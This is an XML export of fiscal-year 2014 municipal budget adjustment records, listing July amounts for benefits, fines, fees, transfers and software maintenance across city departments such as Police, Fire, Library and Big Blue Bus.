<row _id="5906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>576.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>576.0</total></row>
<row _id="5907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5913.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5913.0</total></row>
<row _id="5908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3002.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3002.0</total></row>
<row _id="5909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>626.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>626.0</total></row>
<row _id="5910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1017.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1017.0</total></row>
<row _id="5911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6471.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6471.0</total></row>
<row _id="5912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8096.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8096.0</total></row>
<row _id="5913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3066.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3066.0</total></row>
<row _id="5914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>564.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>564.0</total></row>
<row _id="5915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12080.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12080.0</total></row>
<row _id="5916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6036.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6036.0</total></row>
<row _id="5917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8368.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8368.0</total></row>
<row _id="5918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>924.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>924.0</total></row>
<row _id="5919"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3692.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3692.0</total></row>
<row _id="5920"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>504.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>504.0</total></row>
<row _id="5921"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2448.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2448.0</total></row>
<row _id="5922"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>726.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="5923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2015.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2015.0</total></row>
<row _id="5924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10390.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10390.0</total></row>
<row _id="5925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>400740.0</object><object_description>OTHER FINES / FORFEITURES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="5926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2854.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2854.0</total></row>
<row _id="5927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>827.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>827.0</total></row>
<row _id="5928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6458.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6458.0</total></row>
<row _id="5929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3072.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3072.0</total></row>
<row _id="5930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1920.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1920.0</total></row>
<row _id="5931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>834.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>834.0</total></row>
<row _id="5932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2179.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2179.0</total></row>
<row _id="5933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3007.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3007.0</total></row>
<row _id="5934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>780.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>780.0</total></row>
<row _id="5935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4722.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4722.0</total></row>
<row _id="5936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3214.0</total></row>
<row _id="5937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="5938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6001.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6001.0</total></row>
<row _id="5939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23482.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23482.0</total></row>
<row _id="5940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5444.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5444.0</total></row>
<row _id="5941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1608.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1608.0</total></row>
<row _id="5943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6684.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6684.0</total></row>
<row _id="5944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="5945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="5946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1588.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1588.0</total></row>
<row _id="5947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>406000.0</object><object_description>ESTIMATED USER FEE INCREASES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
<row _id="5950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6952.0</total></row>
<row _id="5951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4460.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4460.0</total></row>
<row _id="5952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5290.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5290.0</total></row>
<row _id="5953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>295684.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>295684.0</total></row>
